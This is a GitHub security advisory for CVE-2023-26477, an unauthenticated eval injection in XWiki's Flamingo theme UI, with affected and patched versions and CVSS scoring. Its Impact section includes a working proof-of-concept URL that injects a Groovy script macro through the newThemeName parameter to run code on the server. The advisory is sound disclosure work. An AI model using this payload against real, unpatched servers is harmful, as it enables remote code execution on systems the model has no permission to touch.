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org.xwiki.platform:xwiki-platform-flamingo-theme-ui Eval Injection vulnerability

Critical severity GitHub Reviewed Published Mar 1, 2023 in xwiki/xwiki-platform • Updated Mar 10, 2023

Package

maven org.xwiki.platform:xwiki-platform-flamingo-theme-ui (Maven)

Affected versions

>= 6.2.4, < 13.10.10
>= 14.0, < 14.4.6
>= 14.5, < 14.9-rc-1

Patched versions

13.10.10
14.4.6
14.9-rc-1

Description

Impact

It's possible to inject arbitrary wiki syntax including Groovy, Python and Velocity script macros via the newThemeName request parameter (URL parameter), in combination with additional parameters form_token=1&action=create.

For instance: http://127.0.0.1:8080/xwiki/bin/view/FlamingoThemesCode/WebHomeSheet?newThemeName=foo%22%2F%7D%7D%7B%7Basync%20async%3D%22true%22%20cached%3D%22false%22%20context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22hello%20from%20groovy!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D&form_token=1&action=create will execute the following groovy code: println("hello from groovy!") on the server.

Patches

This has been patched in the supported versions 13.10.10, 14.9-rc-1, and 14.4.6.

Workarounds

It is possible to edit FlamingoThemesCode.WebHomeSheet and manually perform the changes from the patch fixing the issue.

References

For more information

If you have any questions or comments about this advisory:

References

@manuelleduc manuelleduc published to xwiki/xwiki-platform Mar 1, 2023
Published by the National Vulnerability Database Mar 2, 2023
Published to the GitHub Advisory Database Mar 3, 2023
Reviewed Mar 3, 2023
Last updated Mar 10, 2023

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

EPSS score

0.586%
(79th percentile)

Weaknesses

CVE ID

CVE-2023-26477

GHSA ID

GHSA-x2qm-r4wx-8gpg

Source code

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